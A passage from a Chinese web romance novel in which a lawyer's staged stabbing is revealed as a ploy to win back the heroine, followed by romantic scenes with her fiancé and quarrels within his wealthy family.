陆凛叼着面条,含糊道:“怎么?不像?” “确实不像。” “嘁,”陆凛吞下面条,擦了擦嘴,“学历那玩意儿,随便搞搞就有了,有什么难的?” 明嫣:“……” 这天没法聊了。 吃完面,陆凛摸着肚子,状似随意地问:“明天干嘛?” “跟当事人见面,你跟着记录。” “哦。”陆凛应了一声,没再说什么。 第二天,陆凛居然准时到了律所,虽然依旧顶着乱糟糟的金毛,但好歹没迟到。 见当事人时,他坐在旁边,拿着笔记本,倒是难得安静。 只是那当事人有些难缠,反复纠缠细节,语气越来越冲。 明嫣正耐心解释,那当事人突然激动地一拍桌子,“你们律师就是联合起来骗钱的!” 陆凛猛地抬起头,眼神又冷又戾,手里的笔‘啪’一声按在桌上,“你他妈再说一遍?” 他身高腿长,一头张扬的金毛,沉下脸时自带一股不好惹的煞气。 那当事人被唬得一噎,气势瞬间矮了半截。 明嫣按住陆凛的手臂,对当事人冷静道:“李先生,请注意您的言辞。如果您对我们的服务不满意,可以随时解除委托。” 好不容易送走当事人,明嫣看向陆凛,“以后在当事人面前,收敛点你的脾气。” 陆凛撇撇嘴,“我看他不爽。” “看他不爽也得按规矩来。”明嫣语气严肃,“我们是解决问题,不是制造问题。” 陆凛哼了一声,没反驳,但明显没听进去。 两人正说着话,办公室房门被敲响,明嫣下意识地抬眸,“进来。” 只见一个高大挺拔的身影推门而入,待看清关来人,明嫣不由得唇角微扬,“你怎么来了?” “正好路过,过来看看你……们。” 站在一旁的陆凛听见这个明显后补上去的‘们’,眼珠子差点儿翻到天上去。 “还适应?”傅修沉问陆凛。 陆凛耸耸肩,“就那样呗。” 明嫣笑了笑,“他挺聪明的,学东西快。” 傅修沉有些意外地看了她一眼,又看向车外明显也因为这句夸奖愣了一下的陆凛,唇角几不可察地弯了弯,“没给你惹麻烦就行。” “忙完了?”他走到她办公桌前,很自然地靠坐在桌沿,长腿微曲。 “嗯,刚结束。”明嫣仰头看他,察觉到他神色有异,“怎么了?有事?” 傅修沉垂眸,指尖在光洁的桌面上轻轻点了点,“之前捅伤霍寒山的那一家人,有下落了。” 明嫣闻言,立刻坐直了身体,眼睛都亮了几分,“抓到了?” 这件事一直像根刺扎在她心里。 霍寒山为她挡那一刀,伤势不轻,虽说他后续行为让她困扰,但这份救命之恩是实打实的。 若能抓住真凶,至少能减轻她心中的负疚感。 “嗯,控制住了。”傅修沉语气平淡,“一会儿我的人就押送过来,交给你处理。” 明嫣心头一松,“太好了!总算是抓到人了……” 可她的话没说完,就听见傅修沉话锋一转,“不过……” 他声音沉缓,唇角勾着一丝若有似无的弧度,“从那个动手的男人嘴里,问出了点……有意思的事情。” 第111章 揭露真相! 与此同时,霍寒山的公寓里。 霍寒山坐在客厅的沙发上,整个人仰躺在靠背上,面色苍白。 韩晋在厨房里忙着煮醒酒汤。 而就在这时,手机铃声突兀地炸响。 霍寒山蜷在沙发里的身体几不可察地一颤,连日来的酒精麻痹让他的反应有些迟钝。 他摸索着拿起手机,当看清来电显示时,混沌的眼神骤然聚焦,瞳孔猛地收缩,脸色‘唰’地一下变得惨白。 他像是被烫到一样,猛地从沙发上弹起,动作太大牵扯到胸口的伤,一阵剧痛让他闷哼出声,额角瞬间沁出冷汗。 但他顾不上了,连忙划开接听键,声音嘶哑干涩:“……说。” 电话那头不知说了些什么。 霍寒山的呼吸肉眼可见地急促起来,握着手机的手指用力到骨节泛白,手背青筋暴起。 “怎么会……不是让他们……”他的声音带着难以置信的惊惶,几乎语无伦次,“稳住!想办法……我马上过去……” 他猛地掐断电话,也顾不上换下身上那身皱巴巴的衬衫,踉跄着就要往门外冲。 “老霍!” 韩晋一直留意着他的动静,见状一个箭步冲上来,死死拦住他,“你干什么去?!出什么事了?” 霍寒山试图推开他,眼神慌乱,胸口剧烈起伏,“让开!我必须出去!” “你先告诉我发生什么事了!”韩晋抓着他的胳膊,力道不容挣脱,眉头拧成了疙瘩,“你这个样子能去哪儿?!” 霍寒山嘴唇颤抖,眼底第一次露出慌乱:“上次......捅伤我的那个人,找到了。” 韩晋松了口气,随即又觉得奇怪:“这是好事啊!找到人,该追究追究,该索赔索赔,也省得你白挨这一刀,你板着张死人脸干什么?” 霍寒山没有说话,而是缓缓抬起头,眼底是韩晋从未见过的绝望和恐惧,那是一种……天塌地陷般的灰败。 好半天,他才张了张嘴,喉咙像是被砂纸磨过,声音低得几乎听不见:“韩晋……” “嗯?” “如果一个女人……知道自己被骗了……”霍寒山的声音带着颤,“会怎么样?” 韩晋被他这没头没脑的问题问得一懵,随口答道:“那得看骗她什么了?小事儿可能哄哄就过去了,要是原则性问题……” 他顿了顿,看着霍寒山死灰般的脸色,心里咯噔一下,语气也认真起来,“要是骗得过分,伤到心了,那估计……得恨死你吧,这辈子都不想再见你了。” “恨死……这辈子……不想再见……”霍寒山无意识地重复着这几个字,每个字都像冰锥,狠狠扎进他的心脏,痛得他眼前阵阵发黑。 他脸上最后一丝血色也褪得干干净净,面如死灰。 韩晋终于意识到不对,刚要追问,手机又响了。 看到来电显示,霍寒山眼角狠狠一跳—— 傅修沉。 他深吸一口气接起,对面传来傅修沉冷淡的声音:“霍律师,有些事情还是当面说清楚的好。嫣然律所,我等你。” 不等他回答,电话就被挂断。 霍寒山握着手机,指尖发白。 他知道。 傅修沉什么都知道了。 那个他拼命想要掩盖的真相…… 即将被赤裸裸地摊开在明嫣面前。 他完了。 彻底完了。 韩晋看着霍寒山接完电话后那副万念俱灰的模样,再结合刚才的对话和那个来电显示,一个荒谬又可怕的猜想在他脑中逐渐成型,惊得他倒吸一口凉气。 “寒山……你……你他妈上次挨那一刀……该不会是……”韩晋的声音都变了调,带着难以置信的惊骇。 霍寒山闭上眼,浓密却颤抖的睫毛在眼下投下一片深重的阴影。 他没有承认,也没有否认。 但这种沉默,无异于默认。 “我操!”韩晋猛地爆了句粗口,只觉得一股寒意从脚底直窜天灵盖,“你疯了?!霍寒山你他妈真的疯了?!你连这种戏都做?!你……” 他气得浑身发抖,指着霍寒山,话都说不利索了。 霍寒山却像是听不见他的怒骂,他缓缓睁开眼,眼底是一片死寂的荒芜。 他推开韩晋,踉跄着走向卧室。 “你去哪儿?!”韩晋在他身后吼道。 “……换衣服。”霍寒山的声音嘶哑得像破旧的风箱,“去见她。” 最后一面。 他知道,这很可能是他能见到明嫣的……最后一面了。 …… 而此时的嫣然律所。 听完傅修沉的话,明嫣不由得一愣,满脸疑惑道,“问出了什么有意思的事情?” 傅修沉微微勾了勾唇,深邃的眼底掠过一丝冷冽的玩味,刚想开口,办公室外却响起一阵不小的嘈杂声。 明嫣眉头微皱,下意识起身想去看看怎么回事。 就在这时,办公室门被轻轻敲响,陆奉归探进半个脑袋,脸上带着一丝为难和紧张:“老板……霍、霍律师来了,说……有急事一定要见您。” 明嫣心下诧异,霍寒山? 他怎么会这个时间过来? 她还没来得及回应,门口的光线一暗,一道身影已经越过陆奉归,直接出现在了门口。 是霍寒山。 当看到他的模样时,明嫣不由得怔住了。 眼前的霍寒山,与她记忆中那个永远西装革履,冷静自持的模样简直判若两人。 他穿着一身略显褶皱的深色西装,没打领带,衬衫领口随意地敞开着,露出里面缠绕的白色纱布边缘。 头发有些凌乱,下巴上冒着青黑色的胡茬,最触目惊心的是他的脸色,是一种近乎透明的惨白,眼底布满了骇人的红血丝,整个人像是被抽走了精气神,透着一股难以言喻的颓败和灰暗,仿佛一夜之间苍老了十几岁。 傅修沉好整以暇地靠坐在办公桌沿,长腿交叠,仿佛对霍寒山的出现毫不意外。 他甚至还抬手,慢条斯理地整理了一下自己的袖口,这才抬眸,目光平静无波地扫过门口狼狈不堪的男人,语气带着一丝不易察觉的嘲讽: “嫣嫣,你不是想知道,我问出了什么有意思的事情吗?” 明嫣这才回过神来,下意识地看向傅修沉。 却见傅修沉微微勾了勾唇,“霍律师应该比我更清楚,对吧?” 霍寒山的脸色一白,他动了动唇,几乎一字一句道,“傅修沉,你到底想干什么?!” 傅修沉把玩着桌上的一支钢笔,语气漫不经心,“这句话该是我问你,请问霍律师给了那个人一笔钱,让他捅你一刀!这是想干什么?!” “什么?!” 明嫣猛地倒吸一口凉气,瞳孔骤然收缩,难以置信地看向霍寒山,大脑一片空白,几乎以为自己听错了。 那个人是霍寒山雇佣的? 这……这怎么可能?! 第112章 霍寒山彻底出局 霍寒山在傅修沉话音落下的瞬间,身体几不可察地晃了一下,他死死攥紧了拳头,指甲深陷入掌心。 “不……不是这样的……”他声音嘶哑干涩,试图辩解,“嫣嫣,你听我解释……我从来没想过要伤害你!我只是……我只是……” 他只是想用这种极端的方式,挽回她。 他只是……无法忍受她彻底离开他的世界。 可他没想到,事情会失控。 更没想到……傅修沉会查得如此之深,如此之快。 “只是什么?”傅修沉冷嗤一声,“只是想演一场英雄救美的戏码,让她对你感恩戴德,回心转意?霍寒山,你真是让我大开眼界。为了达到目的,连自己的命都可以拿来算计,甚至不惜将她置于险地?” 傅修沉的每一个字都像重锤,狠狠砸在霍寒山的心上,也砸得明嫣耳膜嗡嗡作响。 她看着霍寒山,那个她曾经倾慕过五年的男人,此刻在她眼中变得无比陌生,甚至……有些可怕。 原来,那奋不顾身的相救,那险些丧命的重伤,那让她心怀愧疚的恩情…… 从头到尾,竟然都是一场精心设计的骗局? 一股冰冷的寒意从脚底瞬间窜遍全身,让她手脚发凉,心口像是被什么东西死死堵住,闷得发疼。 “呵……”明嫣忽然低低地笑了一声。 她抬起眼,目光清凌凌地看向霍寒山,里面不再有愤怒,不再有失望,只剩下一种彻底的冰冷和疏离,“霍寒山,你真是……太可笑了。” 她的声音很平静,却比任何厉声斥责都让霍寒山感到绝望。 “不是的……嫣嫣……”霍寒山踉跄着向前一步,“我知道我错了……我后悔了……我只是太害怕失去你……我……” “失去?”明嫣打断他,语气淡漠,“你从来就没有真正拥有过,又何谈失去?” 她顿了顿,一字一句,清晰无比地说道:“霍寒山,我们之间,早在你设计这一场荒唐戏码之前,就已经彻底结束了。” “而现在,”她目光扫过他苍白的脸和胸口隐约渗出血迹的纱布,眼神里没有半分动容,“你连最后一点,让我觉得那五年或许不至于全然可笑的东西,都亲手毁掉了。” 霍寒山如遭雷击,僵在原地,伸出的手无力地垂落。 他看着明嫣那双冰冷决绝的眼睛,清楚地知道,这一次,他是真的彻底失去她了。 连最后一点凭借‘恩情’维系微弱联系的可能,都被他自己亲手斩断。 巨大的悔恨和绝望如同潮水灭顶,让他眼前一黑,喉头涌上一股腥甜,他猛地咳嗽起来,身体摇摇欲坠。 傅修沉自始至终都冷眼旁观,看着霍寒山这副狼狈不堪的模样,眼底没有丝毫同情。 他站起身,走到明嫣身边,以一种绝对保护和的姿态揽住她的肩膀,目光淡漠地看向霍寒山: “霍律师,戏演完了,请吧。” 他语气平淡地下了逐客令。 “另外——”傅修沉的嗓音微顿,嗓音清冷,“需要我提醒你吗?涉嫌教唆伤人,即使未遂,并且你自身也受了伤,但这其中的法律责任,想必你比我更清楚。是自己去警局说清楚,还是等我的人‘请’你过去,你自己选。” 霍寒山猛地抬起头,血红的眼睛死死瞪了傅修沉一眼,那里面充满了不甘和怨恨,但更多的是一种穷途末路的灰败。 他知道,傅修沉这是在逼他做出选择,也是在彻底斩断他所有纠缠明嫣的可能。 他最后深深地看了一眼明嫣,那眼神复杂得难以形容,最终都化为一片死寂的绝望。 他什么也没再说,猛地转身,脚步踉跄着走出了办公室,背影仓惶而狼狈。 办公室内重新恢复了安静,只剩下窗外隐约传来的车流声。 明嫣还站在原地,身体微微有些僵硬,虽然面上维持着镇定,但微微颤抖的指尖还是泄露了她内心的不平静。 傅修沉察觉到她的异样,揽着她肩膀的手臂收紧了些,将她往自己怀里带了带,低声问:“没事吧?” 他的声音低沉温和,带着安抚人心的力量。 明嫣深吸一口气,摇了摇头,将心头那股复杂的情绪强行压下:“我没事。” 她只是觉得……很可悲。 为霍寒山,也为自己那五年。 “这种人,不值得你浪费任何情绪。”傅修沉抬手,轻轻拂开她颊边一缕不听话的发丝,动作轻柔,“剩下的交给我处理。” 明嫣点了点头,靠在他怀里,汲取着他身上清冽沉稳的气息,那颗有些发冷的心才渐渐回暖。 “他怎么会……”她依旧觉得不可思议。 “有些人,走投无路时,总会想出一些愚蠢的办法。”傅修沉语气淡漠,带着一丝不易察觉的冷嘲,“幸好,真相大白。” 他顿了顿,低头看她,指尖轻轻抬起她的下巴,“现在,心里舒服点了?不用再觉得欠他什么了。” 明嫣望着他深邃的眼眸,那里清晰地映着她小小的影子。 她忽然明白了,傅修沉为什么一定要当着她的面揭穿这一切。 他要彻底斩断她和霍寒山之间最后那点因为“救命之恩”而产生的纠葛,让她心安理得,毫无负担地走向他。 这个男人,心思深沉得可怕,却也……体贴得让她心动。 她轻轻“嗯”了一声,主动环住他的腰,将脸贴得更紧。 “傅修沉。” “嗯?” “谢谢你。” 谢谢你的运筹帷幄,谢谢你的不动声色,谢谢你……为我扫清一切阴霾。 傅修沉低笑,胸腔震动,吻了吻她的发顶。 “傻瓜。” 而办公室外,一直竖着耳朵听完全程的陆凛,叼着根没点燃的烟,靠在工位隔板上,咂了咂嘴,用只有自己能听到的声音嘀咕: “啧,这姓霍的……真是个狠人,也是个蠢货。” 他摇了摇头,金发在灯光下晃出一道耀眼的弧度。 对自己狠,对女人更狠,可惜,用错了方式,也惹错了人。 若是换做他…… 陆凛捏着打火机的手指微顿,随即嗤笑一声——他在胡思乱想什么? 那是他大哥的女人,关他什么事儿? 第113章 方才骑了我半天,是不是该换我了? 霍寒山从那以后就没再出现过。 对面的明寒律所江南分部也换了负责人。 明嫣偶尔抬头望向窗外,只觉得连江南冬日湿冷的空气,都透着一股前所未有的清新舒畅。 那些乌烟瘴气的糟心事,仿佛随着霍寒山的离开被打包扔进了黄浦江。 当然,如果身边没有那个金毛助理的话,她的日子可能会更惬意。 陆凛依旧是那头招摇的金毛,破洞牛仔裤换着花样穿,浑身散发着老子不好惹的气场。 但不得不说,这尊大佛的工作能力确实对得起他那双闪瞎人的学历。 他脑子转得快,过目不忘,那些繁琐的案卷资料他整理得比谁都利索,偶尔还能从刁钻角度提出连明嫣都眼前一亮的诉讼思路。 而且,但凡是明嫣带他出去谈合约,见客户,只要这位爷往旁边一坐,长腿一伸,眉梢一挑,那股子混不吝的阴冷戾气无形中就能镇住场子,再难缠的对手气势上也得弱三分,谈判进程往往顺利得超乎想象。 当然,也有例外的时候。 这天下午,约见的是一个本地小有名气的建材公司老板,姓王,仗着有点家底,态度倨傲,对合同条款吹毛求疵,言语间还时不时带点对女性律师的轻视。 “你们女人干律师行不行啊?感觉都是绣花枕头呢!” 明嫣抿了抿唇,“王总,请相信我的专业能力……” “嗤……”对方冷嗤一声,“什么专业能力,还不是靠着钞能力?我看明律师年纪也不大,长得倒是挺漂亮的,与其当律师,倒不如考虑跟我试试……” 一直懒洋洋玩着打火机的陆凛忽然“咔哒”一声合上盖子,撩起眼皮,目光又冷又野地钉在王总脸上。 “找死?”他的声音不大,却清晰地盖过了对方的喋喋不休,“你若是不想让人把你横着抬出去,你最好现在就闭上你的狗嘴!?” 王总被他看得心里一毛,色厉内荏地拍桌子:“你……你什么意思?竟然敢骂我?” 陆凛慢悠悠站起身,他身高体长,带着极强的压迫感逼近一步,嘴角扯出一个没什么温度的弧度:“跟你讲道理是给你脸,别给脸不要脸。这合同,爱签签,不签滚。再跟我叽叽歪歪……” 他没说完,只是眼神往王总那圆滚滚的啤酒肚上瞟了一眼,意思不言而喻。 王总气得脸色涨红,指着明嫣:“好!好!明律师,你带的人就这么谈生意的?这合作不谈也罢!”说罢,抓起公文包怒气冲冲地走了。 会议室里瞬间安静下来。 明嫣揉了揉眉心,叹了口气。 合同谈崩了,虽然这客户本身也有些问题,但陆凛这方式…… 她转头看向已经恢复懒散姿态靠在墙边的陆凛,沉默了几秒,还是客观地补充了一句:“方式过激了……不过,今天,谢了。” 陆凛正拿着手机准备继续他的游戏,闻言手指一顿,随即若无其事地“嗯”了一声,迅速低下头,手指在屏幕上胡乱划拉着。 只是扭过头看向窗外的时候,唇角极小幅度地向上扬了扬。 回律所的路上,车子路过一家新开的网红奶茶店,门口排着长长的队伍,大多是年轻女孩。 陆凛忽然收起手机,“停车。” 明嫣疑惑地看着他拉开车门,长腿一迈,挤进了那片叽叽喳喳的人群里。 他那一头金毛和高挑的身材在人群中格外扎眼,引得不少小姑娘侧目。 没过多久,他竟真的拎着两杯包装精致的奶茶回来了。 他递了一杯给明嫣,自己叼着另一杯的吸管,含含糊糊地说:“喏,你的。” 明嫣看着手里那杯挂着厚厚奶盖和草莓碎的奶茶,表情有些微妙。 她实在很难把这种少女心爆棚的饮品和身边这个眉眼桀骜的金毛拽爷联系起来。 “你……喝这个?”她忍不住问,语气带着难以置信。 陆凛叼着吸管,用力吸了一大口,腮帮子鼓鼓的,闻言瞥了她一眼,眼神里带着点嫌弃,理直气壮:“不行啊?你有意见?” 明嫣看着他嘴角沾着的一点奶盖,再看看他那副拽样,默默地把吐槽咽了回去:“……没意见。” 她低头,小心地撕开吸管包装,插进去,喝了一口。 冰凉甜腻的味道混合着草莓的清香在口腔里化开,似乎……还不赖。 陆凛看着她小口喝奶茶的样子,扭头看向窗外,唇角却是几不可察地微微勾了勾。 …… 随着订婚典礼的日期临近,傅修沉几乎推掉了所有不必要的应酬,天天准时准点下来接明嫣下班。 而下班之后,更是每天变着花样带她吃各种好吃的。 明嫣觉得自己至少胖了三斤。 这天晚上,两人在外面吃了顿饭,吃饭的地方离家不远。 傅修沉正要打开副驾驶,袖子被轻轻拽了拽。 转头就对上明嫣那双黑白分明的墨玉眸子,“我不想坐车回去。” 傅修沉立马领会了她的意思。 他当即关上车门,就这么把价值几千万的宾利车扔在了临时车位上,牵着明嫣的手,十指相扣,“那就散步走回去。” 冬夜的空气带着凉意,但彼此交握的手心温暖干燥。 走到一半,明嫣穿着高跟鞋的脚有些累了,停下来揉了揉脚腕。 “累了?” “有点儿……” 傅修沉当即转身,在她面前微微蹲下身,“上来。” 明嫣被他的动作吓了一跳,连忙看了看四周:“不用了吧,快到了。” “上来。” 明嫣抿了抿唇,倒是也没再矫情,直接趴到了他宽阔的背上。 很轻,傅修沉颠了颠,便勾紧两条腿往公寓的方向走去。 明嫣搂着他的脖子,脸颊贴在他颈侧,能闻到他身上清冽好闻的木质香气,混合着一丝独属于他的温热气息。 傅修沉微微侧头,下颌轻蹭过她的额发,低沉的嗓音在夜色里格外磁性:“看天上。” 明嫣依言抬头,夜幕如洗,点缀着细碎的星光。 “看到那颗最亮的了吗?”傅修沉示意她看斜前方一颗格外明亮的星辰,“稍微偏右,亮度很稳定那颗。” “嗯,看到了。”明嫣点头,有些好奇,“怎么?” 傅修沉的声音带着一种奇异的温柔和笃定:“那是我偶然发现的一颗星星,很奇怪,就算下雨或者阴天,透过云层,好像也能隐约看到它的光。” 他顿了顿,偏头,唇几乎碰到她的耳廓,“以后要是万一你找不到我了,或者需要我的时候,就对着那颗星星,默数三遍我的名字。” “嗯?” 明嫣失笑,忍不住逗他,“然后呢?你会像阿拉丁神灯里的灯神一样,‘噗’地一声出现吗?” “嗯。”傅修沉却答得一本正经,“只要你想,我就会出现在你面前。” 明嫣笑着轻轻捶了下他的肩膀:“傅修沉,你在这儿哄三岁小孩呢!” “不是,”他语气认真,“是承诺。” 明嫣止住笑,看着他被路灯勾勒出的冷硬侧脸线条,心口像是被什么东西塞得满满的,又软又涨。 她收紧了搂着他的手臂,将脸更紧地埋在他颈窝,小声嘟囔:“……笨蛋。” 傅修沉的唇角无声地勾起。 眼见着前面就是自己的公寓,明嫣连忙拍了拍他的肩:“到了,放我下来吧。” 傅修沉却像是没听见,径直背着她走到单元楼下,才小心地将她放下。 脚刚沾地,他的手就顺势滑下,握住了她的手腕,指腹在她细腻的皮肤上轻轻摩挲。 楼道口的灯光昏黄,在他眼底投下深邃的阴影。 他向前逼近一步,将她困在自己与单元门之间,声音压低,带着蛊惑的沙哑:“不请我上去喝杯水?” 明嫣的脸“轰”地一下就红了,心跳瞬间失序。 她当然明白这“喝水”背后的潜台词。 她羞赧地推搡他坚硬的胸膛,声音细若蚊蚋:“别胡闹,很晚了……” 傅修沉低笑一声,非但没退开,反而俯身,一把将她打横抱起,直接用指纹开了单元门,大步流星地朝电梯走去。 “傅修沉!”明嫣又羞又急,压低声音抗议。 进了电梯,明嫣故意板起脸不理他。 “生气了?”傅修沉低头,语气带着点点笑意,“过来,哄哄你。” 明嫣扭开头,看着不断跳升的楼层数字,就是不看他。 傅修沉也不急,指尖轻轻摩挲着她肩头的衣料,慢条斯理地说:“方才骑了我半天了,一会儿……是不是该换我了?” “你——!”明嫣猛地转回头,对上他含笑的深邃眼眸,脸颊爆红,气得咬牙切齿,“你能正经点儿吗?!” 傅修沉一脸无辜,眼神却坏得明目张胆:“我说背你回家的事,你想哪儿去了?” 他微微挑眉,语气促狭,“小明律师,思想能不能健康一点?不要满脑子都是黄色废料……” “……” 第114章 不要这些,看来是想要我…… 明嫣知道他是在故意曲解,斗嘴又斗不过他,气得再次扭过头,打定主意不理这个厚脸皮的家伙。 电梯‘叮’地一声到达楼层。 傅修沉抱着她走出去,输入密码开门,动作一气呵成。 进了玄关,他把明嫣放在柔软的换鞋凳上,自己则单膝蹲在她面前,握住她的手,仰头看着她依旧气鼓鼓的侧脸,语气终于认真了些:“好了,不生气了,送你个礼物,好不好?想要什么?” 明嫣哼了一声,不说话。 傅修沉看着她,眸色沉静。 他沉吟片刻,“跃华生物现在走势很稳定了,送给你好不好?” 明嫣猛地扭回头,瞪大眼睛看着他,以为自己听错了。 跃华生物? 那可是估值上万亿,在科创版一骑绝尘,被无数资本追捧的行业巨头! 他说送就送?! 傅修沉像是没看到她眼中的震惊,继续用那种平淡的语气说:“嫌小?你要是想要傅氏集团也行,不过……” 他顿了顿,略显遗憾,“我现在还没完全继承,得等老爷子放手,等继承到了,第一时间转给你。” “……” 明嫣简直惊呆了,张了张嘴,半天没说出一个字。 这已经不是惊喜,是惊吓了! “但是现在的跃华股权可以转给你。”傅修沉一边说着,一边当真从口袋里掏出手机,修长的手指在屏幕上划了几下,找到周慕言的号码,直接就拨了出去,“周慕言,起草一份股权转让合同,我名下持有的百分之四十跃华生物股权……” “傅修沉!”明嫣终于反应过来,几乎是扑过去,一把捂住了他的嘴,心脏砰砰直跳,又急又气,“你疯了?!” 手机那头,周慕言似乎也被这突如其来的指令砸懵了,声音隔着听筒隐约传来:“傅、傅总?您是说……跃华百分之四十的……” 傅修沉被捂着嘴,只能发出模糊的音节,但眼神却带着笑意,一瞬不瞬地看着眼前急得脸颊通红的明嫣。 明嫣夺过他的手机,对着那头还没搞清楚状况的周慕言快速说了句“周律师,没事,他开玩笑的,你先忙!”便赶紧挂断了电话。 傅修沉看着明嫣手忙脚乱挂断电话,又惊又急的模样,低低地笑了起来,胸腔震动,连带着被他圈在怀里的明嫣也能感受到那份愉悦。 “谁跟你开玩笑了?”他指尖轻轻捏了捏她烫红的耳垂,语气带着纵容的无奈,“我的不就是你的?” “那也不能这么给啊!”明嫣惊魂未定,瞪着他,“百分之四十的跃华股权?傅修沉,你知不知道那是多少钱?你……” “知道。”傅修沉打断她,目光沉静地看着她,“但钱不重要,你高兴才重要。” “……”明嫣被他这理直气壮的‘昏君’言论噎得说不出话。 她深吸一口气,试图跟他讲道理:“傅修沉,我们是要订婚,不是要搞商业并购!股权你自己好好拿着,我不要。” “为什么不要?”傅修沉挑眉,像是很不理解,“别人家未婚妻都巴不得把男方财产攥手里,你怎么还往外推?” “那是别人!”明嫣没好气,“我有手有脚自己能赚钱,要你那么多股份干什么?看着玩吗?” 傅修沉看着她因为激动而越发晶亮的眼睛,像是盛满了星子,忍不住低头在她眼皮上亲了一下,“嗯,我们嫣嫣最有本事。” “那你不要这些……”他一边说着,一边握着明嫣的手贴在自己的胸口,嗓音低哑得一塌糊涂,“看来是想要我了……” “……” 明嫣脸颊爆红,“傅修沉!” “嗯,在呢!”傅修沉弓下身子,黑亮的眼眸里噙着一片潮气,“留点儿力气,一会儿到床上在喊……” “唔……” 卧室里的灯不知道什么时候被关掉,窸窸窣窣中,满室的春光暖意…… …… 魔都的冬日,难得露面的太阳洒下稀薄的暖意。 距离订婚宴只剩三天,明嫣随着傅修沉回了魔都。 傅家老宅比往日更添了几分忙碌,佣人们穿梭往来,为即将到来的订婚宴做最后的准备。 傅修沉的车刚驶入老宅庭院,早已接到消息的傅承平便快步从主宅迎了出来,“修沉回来了?路上辛苦了吧?” 他搓着手,视线掠过傅修沉,落在明嫣身上时,笑容更热切了几分,“明小姐,哦不,很快该改口叫侄媳妇了,欢迎欢迎!” 傅修沉神色淡漠,只微微颔首,“二叔。” 他无意多寒暄,简单交代几句,便揽着明嫣先去了书房见老爷子,留下陆凛百无聊赖地靠在廊柱下玩手机。 眼见着傅修沉的身影消失在门廊尽头,傅承平脸上那谦卑热络的笑容迅速消失,嘴角撇了下来,眼神里透出一股压抑不住的阴郁。 他转头,正好看见妹妹傅承慧从偏厅走出来。 “二哥,修沉他们到了?”傅承慧张望了一下。 “哼,到了,排场大着呢。” 傅承平语气酸溜溜的,“如今修沉可是越发不得了了,眼里哪还有我们这些长辈?” 傅承慧看着自己哥哥这副模样,连忙宽慰道:“好了,二哥,修沉他一贯就是那样的性子,你也别太往心里去,再说了,修沉他能力强,如今傅家也确实要靠他撑着。” “能力强?是,能力强!” 傅承平嗤笑一声,意有所指地瞟了眼不远处正低头打游戏的陆凛,“偌大的傅家,现在不就指望着他和陆凛两兄弟了么?不过啊,有修沉这样的人物在前头吃肉,你家的陆凛,怕是也就只能跟着喝口汤了。” 傅承慧忍不住皱眉。 傅承平见她的表情,不由得重重叹了口气,当即抬手拍了拍她的肩膀,“小妹,不是哥说话难听。修沉那性子,你我都清楚,天性凉薄。陆凛就算再优秀,只要修沉在傅家一天,他就得被压一天,永无出头之日啊!可惜了陆凛这孩子,听说是在江南那个小律所干?甚至连跃华生物的大门都进不去……” 傅承慧的脸色渐渐沉了下来。 她原本就对儿子被发配到江南一个小律所当助理心存不满,此刻被傅承平这么一挑拨,那点不甘和怨气如同被火星溅到的油纸,瞬间燃了起来。 她咬着牙,声音带着护犊子的倔强:“哥,你这话我就不爱听了!我们家小凛哪里比修沉差了?他不过是年轻,性子还没定下来!真要论能力,未必就输给谁!” 傅承平要的就是她这话,眼底闪过一丝得逞,面上却故作无奈地摇头:“唉,说这些有什么用?形势比人强啊……傅家,终究是修沉说了算。” 这话像一根细小的毒刺,深深扎进了傅承慧的心底,让她又气又闷,却又无从反驳,只能死死攥紧了手中的丝帕。 …… 傅承平满意地看着妹妹的反应,知道这根刺已经埋下,便不再多言,假意安慰了几句,起身离开。 他心情稍微舒畅了些,一路哼着曲子朝着他的院子走去。 然而,刚回到二房所在的院落,一份冰冷的文件便递到了他面前。 是他的妻子,许婷婷。 许婷婷今天穿了一身素雅的墨绿色旗袍,外面罩着羊绒披肩,脸上未施粉黛,眼神却锐利如刀,再无往日半分的温婉。 “签了吧。”她声音平静,将那份离婚协议书推到他面前。 傅承平脸上的血色‘唰’地一下褪得干干净净,他难以置信地看着妻子:“婷……婷婷?你……你这是干什么?我们不是说好了……” “说好什么?”许婷婷打断他,唇角勾起一抹冰冷的讥诮,“说好一起丁克,相互扶持?还是说好你在外面养女人,甚至弄出个二十多岁的私生女,把我当傻子一样蒙在鼓里?” 她每说一句,傅承平的脸色就白一分。 “傅承平,我真是瞎了眼,以前竟觉得你虽然能力平庸,但至少待人真诚,是个可以依靠的丈夫。” 许婷婷的声音里带着深深的疲惫和厌恶,“没想到你人前一套,背后一套,虚伪得让我恶心!” “不是的!婷婷,你听我解释!” 傅承平慌了,扑上去想要抓住她的手,却被她嫌恶地避开,“我已经跟秦晓林那个贱人彻底断绝关系了!我发誓!秦婉那个野种,我绝对不会认!我错了,我真的知道错了!你看在我这么多年对你一心一意份上,再给我一次机会!我以后绝对不会再犯!我保证!” 他语无伦次,几乎要跪下来哀求。 许婷婷看着他这副毫无担当的模样,眼底最后一丝犹豫也消失了。 她冷冷地看着他,像是在看一个跳梁小丑,她指了指那份协议,“签字。否则,我不介意让许家亲自来跟你谈。到时候,恐怕就不只是一纸离婚协议这么简单了。” 提到许家,傅承平像是被兜头浇了一盆冰水,浑身一颤。 他比谁都清楚,他能有今天,在傅氏集团还能占着一席之地,全靠岳家许家的支持。 如果许家真的出手……那他可就真的完了! 巨大的恐慌和愤怒交织在一起,让傅承平瞬间失去了理智。 他猛地一把抓过那份离婚协议,看也不看,发疯似的将其撕得粉碎,纸屑扬了满地! “我不签!许婷婷,你想都别想!我绝对不会离婚!”他面目狰狞地低吼。 许婷婷看着他这副歇斯底里的模样,眼神里连最后一点波澜都没有了,只剩下彻底的冰冷。 她不再看他一眼,转身拿起自己的手包,声音淡漠如冰:“既然你不签,那就法庭上见吧。傅承平,好自为之。” 第115章 炫富哄他老婆 “婷婷!” “许婷婷!你给我回来!”傅承平冲着她的背影大声嘶吼。 可回应他的,只有冰冷的关门声。 他望着满地的碎纸屑,胸口剧烈起伏,眼神里充满了不甘和恐惧。 不行! 他不能失去许家的支持! 绝对不能! 忽然,他猛地转身,大跨步地朝着傅老夫人的主楼跑去。 “妈!” 傅老夫人正在闭目捻着佛珠,被他这突如其来的喊声惊得睁开了眼。 看着小儿子的满头大汗模样,当即满脸心疼道,“这是怎么了?” “妈,婷婷……她要跟我离婚!”傅承平急得团团转,“妈,要是没了许家的支持,我在傅家就真的永远都抬不起头了!我就彻底完了啊妈!” “急什么!瞧你这点出息!”傅老夫人放下佛珠,拍着他的背安抚,“好了好了,多大点儿事,瞧吧你吓得。” 傅承平像是找到了主心骨,紧紧抓住她的手,“妈,您一定要帮帮我!我不能离婚!绝对不能!” 